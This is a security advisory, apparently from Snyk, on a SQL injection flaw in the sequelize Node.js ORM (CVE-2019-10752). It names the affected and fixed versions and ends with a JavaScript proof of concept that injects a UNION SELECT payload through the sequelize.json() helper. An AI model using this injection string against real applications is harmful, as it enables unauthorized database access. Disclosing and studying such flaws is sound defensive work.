SQL Injection Affecting sequelize package, versions >=4.0.0 <4.44.3>=5.0.0-0 <5.15.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-SEQUELIZE-459751
- published19 Aug 2019
- disclosed18 Aug 2019
- creditSnyk Security Team
Introduced: 18 Aug 2019
CVE-2019-10752 (opens in a new tab)How to fix?
Upgrade sequelize to version 4.44.3, 5.15.1 or higher.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to sequelize.json() helper function not escaping values properly when formatting sub paths for JSON queries for MySQL, MariaDB and SQLite.
PoC by Snyk
const Sequelize = require('./');
const sequelize = new Sequelize('mysql', 'root', 'root', {
host: 'localhost',
port: '3306',
dialect: 'mariadb',
logging: console.log,
});
class Project extends Sequelize.Model {}
Project.init({
name: Sequelize.STRING,
target: Sequelize.JSON,
}, {
sequelize,
tableName: 'projects',
});
(async () => {
await sequelize.sync();
console.log(await Project.findAll({
where: {name: sequelize.json("target.id')) = 10 UNION SELECT VERSION(); -- ", 10)},
attributes: ['name'],
raw: true,
}));
})();